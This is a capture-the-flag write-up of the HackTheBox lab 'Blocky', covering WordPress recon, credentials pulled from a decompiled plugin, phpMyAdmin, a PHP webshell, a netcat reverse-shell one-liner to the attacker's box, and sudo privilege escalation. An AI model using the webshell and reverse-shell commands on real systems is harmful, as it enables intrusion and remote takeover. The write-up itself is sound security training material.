CyberSec Writeups

Red Team / Blue Team labs - HackTheBox, BlueTeamLabsOnline, TryHackMe, PortSwigger

HackTheBox: Blocky

linux wordpress phpmyadmin password re-use sudo

Blocky is a Linux-based machine authored by Arrexel, with an average rating of 4.3 stars.

// Lessons Learned

  1. it’s important to be able to drop (or avoid altogether) assumptions about a target - just because it’s runninng WordPress and everyone knows that’s buggy, doesn’t mean that’s definitely the way in
  2. password re-use - it’s a thing, always check

// Recon

┌──(kali㉿kali)-[~]
└─$ nmap -A -p- blocky.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-29 10:15 AEST
Nmap scan report for blocky.htb (10.10.10.37)
Host is up (0.023s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT      STATE  SERVICE   VERSION
21/tcp    open   ftp       ProFTPD 1.3.5a
22/tcp    open   ssh       OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d6:2b:99:b4:d5:e7:53:ce:2b:fc:b5:d7:9d:79:fb:a2 (RSA)
|   256 5d:7f:38:95:70:c9:be:ac:67:a0:1e:86:e7:97:84:03 (ECDSA)
|_  256 09:d5:c2:04:95:1a:90:ef:87:56:25:97:df:83:70:67 (ED25519)
80/tcp    open   http      Apache httpd 2.4.18 ((Ubuntu))
|_http-title: BlockyCraft – Under Construction!
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-generator: WordPress 4.8
8192/tcp  closed sophos
25565/tcp open   minecraft Minecraft 1.11.2 (Protocol: 127, Message: A Minecraft Server, Users: 0/20)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 114.13 seconds

Nmap reveals this as a Ubuntu-based Linux machine, running several noteworthy services:

To expand our awareness of the target, we can also quickly confirm that:

  1. anonymous ftp is not enabled:
    ┌──(kali㉿kali)-[~]
    └─$ ftp anonymous@blocky.htb
    Connected to blocky.htb.
    220 ProFTPD 1.3.5a Server (Debian) [::ffff:10.10.10.37]
    331 Password required for anonymous
    Password: 
    
  2. the webserver is running a Minecraft blog / community site, running Wordpress 4.8 (confirmable by viewing HTML source):

Wordpress has had its fair share of security issues over the years (though admittedly most often in third-party plugins and themes, rather than the core project) and since it’s a common entrypoint into HTB machines, it makes sense to start here. Visiting /wp-admin/install.php confirms the initial site setup has already been completed. We can reach the login page at /wp-login.php, but require valid credentials. One great way to search for possible usernames is to review any posts or comments on the site, and check the attribution. Sure enough if we visit the “Welcome to BlockyCraft!” post, we can see that it was created on July 2, 2017 by NOTCH:

If we take this username to the login panel and try it with any password, we get a different error than if we enter a made-up username, meaning that we are half-way to having a valid logon already:

The front-page of the site features the typical site search feature, which usually interacts with a SQL-like database on the backend. It’s possible that this might be a pathway to a sql-injection attack, which we can use a tool like sqlmap to check. A default scan only requires us to supply a target url, and specify which parameter we want to test injection against:

python sqlmap.py -u "http://blocky.htb/?s=first" -p 's'
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.6.1.7#dev}
|_ -| . [,]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:42:45 /2022-03-31/

RuntimeError: module compiled against API version 0xe but this version of numpy is 0xd
RuntimeError: module compiled against API version 0xe but this version of numpy is 0xd
[10:42:45] [INFO] testing connection to the target URL
[10:42:46] [INFO] testing if the target URL content is stable
...
[10:43:41] [WARNING] GET parameter 's' does not seem to be injectable
[10:43:41] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'

Unfortunately the default scan returns no results. We can run a longer, more aggressive scan that includes more query types, by setting the --level and --risk paramters to their maximum values:

python sqlmap.py -u "http://blocky.htb/?s=first" -p 's' --level=5 --risk=3 --dbms=mysql
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.6.1.7#dev}
|_ -| . [(]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:58:30 /2022-03-31/

RuntimeError: module compiled against API version 0xe but this version of numpy is 0xd
RuntimeError: module compiled against API version 0xe but this version of numpy is 0xd
[09:58:30] [INFO] testing connection to the target URL
[09:58:32] [INFO] testing if the target URL content is stable
...

This scan takes considerably longer to complete, due to the inclusion of various time-based queries that make use of sleep-type functions to check for vulnerabilities. In the end though, there are no vulnerabilities discovered, so we must continue our search for a way in elsewhere.

As mentioned before, WordPress offers a large attack surface - themes, plugins, misconfigurations, exposed backups etc. wpscan is an automated tool that can quickly check all of these for us in a single command:

──(kali㉿kali)-[~]
└─$ wpscan --url http://blocky.htb
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.20
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://blocky.htb/ [10.10.10.37]
[+] Started: Thu Mar 31 10:24:11 2022

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://blocky.htb/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://blocky.htb/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://blocky.htb/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://blocky.htb/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.8 identified (Insecure, released on 2017-06-08).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://blocky.htb/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=4.8'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://blocky.htb/, Match: 'WordPress 4.8'

[i] The main theme could not be detected.

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:01 <==============================================================================================================================> (137 / 137) 100.00% Time: 00:00:01

[i] No Config Backups Found.

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Thu Mar 31 10:24:14 2022
[+] Requests Done: 139
[+] Cached Requests: 29
[+] Data Sent: 33.996 KB
[+] Data Received: 19.874 KB
[+] Memory used: 201.938 MB
[+] Elapsed time: 00:00:03

WPScan confirms some information we already knew (such as version numbers) as well as a few new things, like whether certain features are enabled. Like sqlmap, the depth of scanning performed can be tuned via the -e parameter, to include things like user enumeration, a full plugin search, full theme search etc. Even after running these more aggressive scans however, there are still no obvious vulnerabilities found.

Since we know the site is running Wordpress, we can use gobuster to search for additional content through several WordPress-specific lists:

gobuster dir -u http://blocky.htb/ -w ./Discovery/Web-Content/CMS/wordpress.fuzz.txt
gobuster dir -u http://blocky.htb/ -w ./Discovery/Web-Content/CMS/wp-plugins.fuzz.txt
gobuster dir -u http://blocky.htb/ -w ./Discovery/Web-Content/CMS/wp-themes.fuzz.txt

Unfortunately again, we still don’t get anything compelling. Searching exploit-db and other sources for known exploits for some of the server software versions (ProFtpd 1.3.5a, WordPress 4.8 etc.) returns several hits, but all of them are either for different versions (e.g. a remote code execution vulnerability in ProFtpd 1.3.5 but not 1.3.5a) or required some level of access already (e.g. an authenticated arbitrary file deletion vulnerability in WordPress 4.8).

// Initial Foothold

After several hours of searching, it’s starting to look pretty hard to find a way into this “easy” box. This is a good moment to consider that sometimes, you need to drop the assumptions you’ve built up about a target box so far (“this machine is running WordPress, so that’s likely to be the way in”) and zoom out to broaden the possibilities. Just because this machine is running WordPress, does that guarantee that running a non-WordPress list through gobuster wouldn’t help?

gobuster dir -u http://blocky.htb/ -w ./Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://blocky.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                ./Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/04/06 09:42:13 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 294]
/.hta                 (Status: 403) [Size: 289]
/.htpasswd            (Status: 403) [Size: 294]
/index.php            (Status: 301) [Size: 0] [--> http://blocky.htb/]
/javascript           (Status: 301) [Size: 313] [--> http://blocky.htb/javascript/]
/phpmyadmin           (Status: 301) [Size: 313] [--> http://blocky.htb/phpmyadmin/]
/plugins              (Status: 301) [Size: 310] [--> http://blocky.htb/plugins/]
/server-status        (Status: 403) [Size: 298]
/wiki                 (Status: 301) [Size: 307] [--> http://blocky.htb/wiki/]
/wp-admin             (Status: 301) [Size: 311] [--> http://blocky.htb/wp-admin/]
/wp-content           (Status: 301) [Size: 313] [--> http://blocky.htb/wp-content/]
/wp-includes          (Status: 301) [Size: 314] [--> http://blocky.htb/wp-includes/]
/xmlrpc.php           (Status: 405) [Size: 42]

===============================================================
2022/04/06 09:43:04 Finished
===============================================================

Using the common.txt wordlist, we discover some additional directories of interest:

/phpmyadmin returns the typical login page for that tool, which might come in handy later on. /plugins displays links to download two .jar files, BlockyCore.jar and griefprevention-1.11.2-3.1.1.298.jar, which are likely plugins to support the Minecraft server running on the target:

A little bit of programming knowledge is helpful here. .jar files are “Java Archives”, designed to ”..aggregate many Java class files and associated metadata and resources into one file for distribution.”. From a usability perspective, they can be unpacked the same as conventional .zip files, so once we download them we can unpack them and expore:

┌──(kali㉿kali)-[~/HTB/blocky]
└─$ unzip BlockyCore.jar 
Archive:  BlockyCore.jar
  inflating: META-INF/MANIFEST.MF    
  inflating: com/myfirstplugin/BlockyCore.class

The META-INF/MANIFEST.MF file is basically metadata and of no interest here, but com/myfirstplugin/BlockyCore.class represents the compiled / class file, which would have been built from source in a file called BlockyCore.java. Trying to view the BlockyCore.class file is useless as it’s been compiled, but fortunately decompilation is straightforward, either on commandline or using an online tool like Decompilers online:

We’ve now got access to what looks like the root mysql password, thanks to the developer hard-coding the credentials. Testing these against the WordPress admin login we found earlier is unsuccessful (there doesn’t even seem to be a user with the name root, based on the response) but testing them against the newly discovered phpmyadmin login gets us access:

A well-established method of creating a webshell at this point involves using SQL to create an html file that can run commands via php:

SELECT "<HTML><BODY><FORM METHOD=\"GET\" NAME=\"myform\" ACTION=\"\"><INPUT TYPE=\"text\" NAME=\"cmd\"><INPUT TYPE=\"submit\" VALUE=\"Send\"></FORM><pre><?php if($_GET['cmd']) {system($_GET[\'cmd\']);} ?> </pre></BODY></HTML>"
INTO OUTFILE '/var/www/phpMyAdmin/cmd.php'

Unfortunately running this command on the target returns an error, indicating this won’t be possible:

#1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

Our acces does allow us to browse the database and tables of the mysql server, including the wordpress.wp_users table. As discovered earlier, there is a single user notch on the system:

We could take the password hash and run it through hashcat, or alternatively we could just reset the password. Wordpress uses a custom function, wp_hash_password to achieve this, which we could setup and run locally, but there are also online tools that will do the same for us:

If we update the table with our newly generated hash, we can now log in to the WordPress admin portal using the username / password of notch / blocky. From here, it’s straight-forward to modify the active theme’s 404 page to include a webshell that will allow us to run commands:

We can now establish a listener on our attack box using penelope:

~/github/brightio/penelope  main  python penelope.py 443
[+] Listening for reverse shells on 0.0.0.0 🚪443

and then issue the appropriate netcat command (openBSD flavour) on the target, to establish a connection:

mkfifo /tmp/lol; nc 10.10.17.230 443 0</tmp/lol | /bin/sh -i 2>&1 | tee /tmp/lol

...
[+] Got reverse shell from 🐧 blocky.htb~10.10.10.37 💀 - Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
www-data@Blocky:/var/www/html/wp-content/themes/twentyseventeen$

We now have a shell as www-data on the box, but trying to navigate to the usual location for the user flag (/home/notch/user.txt in this case) reveals we can’t access the file as our current user. Running some typical enumeration at this point - checking for custom software, services running only on internal interfaces etc. - doesn’t return anything obvious, so now seems like a good time to upload & execute linPEAS (output truncated):

www-data@Blocky:/tmp$ curl http://10.10.17.230:8000/linPEAS.exe -o /tmp/linPEAS.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 1882k  100 1882k    0     0   623k      0  0:00:03  0:00:03 --:--:--  623k
www-data@Blocky:/tmp$ ./linPEAS.sh
...
╔══════════╣ Searching passwords in config PHP files
$dbpass='8YsqfCTnvxAUeduzjNSXe22';
$dbuser='phpmyadmin';
    // $cfg['Servers'][$i]['AllowNoPassword'] = TRUE;
// $cfg['Servers'][$i]['AllowNoPassword'] = TRUE;
$cfg['Servers'][$i]['AllowNoPassword'] = false;
$cfg['Servers'][$i]['AllowNoPassword'] = false;
$cfg['Servers'][$i]['nopassword'] = false;
$cfg['ShowChgPassword'] = true;
...
define('DB_PASSWORD', 'password_here');
define('DB_USER', 'username_here');
define('DB_PASSWORD', 'kWuvW2SYsABmzywYRdoD');
define('DB_USER', 'wordpress');
...

Amongst the typically large linPEAS output, we’re presented with several hard-coded passwords in different parts of the website. Since password re-use is a common security vulnerability, we should check all of these against the users we know have shell access, notch and root. Quickly we discover that the phpadmin password also gives us access to the notch account:

www-data@Blocky:/tmp$ su notch
Password: <enter 8YsqfCTnvxAUeduzjNSXe22 here>
notch@Blocky:/tmp$

We can now access the user.txt flag in notch’s home folder:

notch@Blocky:/tmp$ cat ~/user.txt
59fee***************************
notch@Blocky:/tmp$

// Privilege Escalation

After a fairly lengthy period was required to gain a foothold, it’s somewhat disappointing to learn that the path to privesc on this machine involves nothing more than wide open sudo access:

notch@Blocky:~$ sudo -l
[sudo] password for notch:
Matching Defaults entries for notch on Blocky:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User notch may run the following commands on Blocky:
    (ALL : ALL) ALL

All we have to do is sudo a new shell, and we can run any command as root, including accessing root.txt:

notch@Blocky:~$ sudo /bin/bash
root@Blocky:~# cd /root
root@Blocky:/root# ls -la
total 28
drwx------  3 root root 4096 Jul 14  2017 .
drwxr-xr-x 23 root root 4096 Jul  2  2017 ..
-rw-------  1 root root  446 Jul 16  2017 .bash_history
-rw-r--r--  1 root root 3106 Oct 22  2015 .bashrc
drwxr-xr-x  2 root root 4096 Jul  2  2017 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-r--------  1 root root   32 Jul  2  2017 root.txt
root@Blocky:/root# cat root.txt
0a969***************************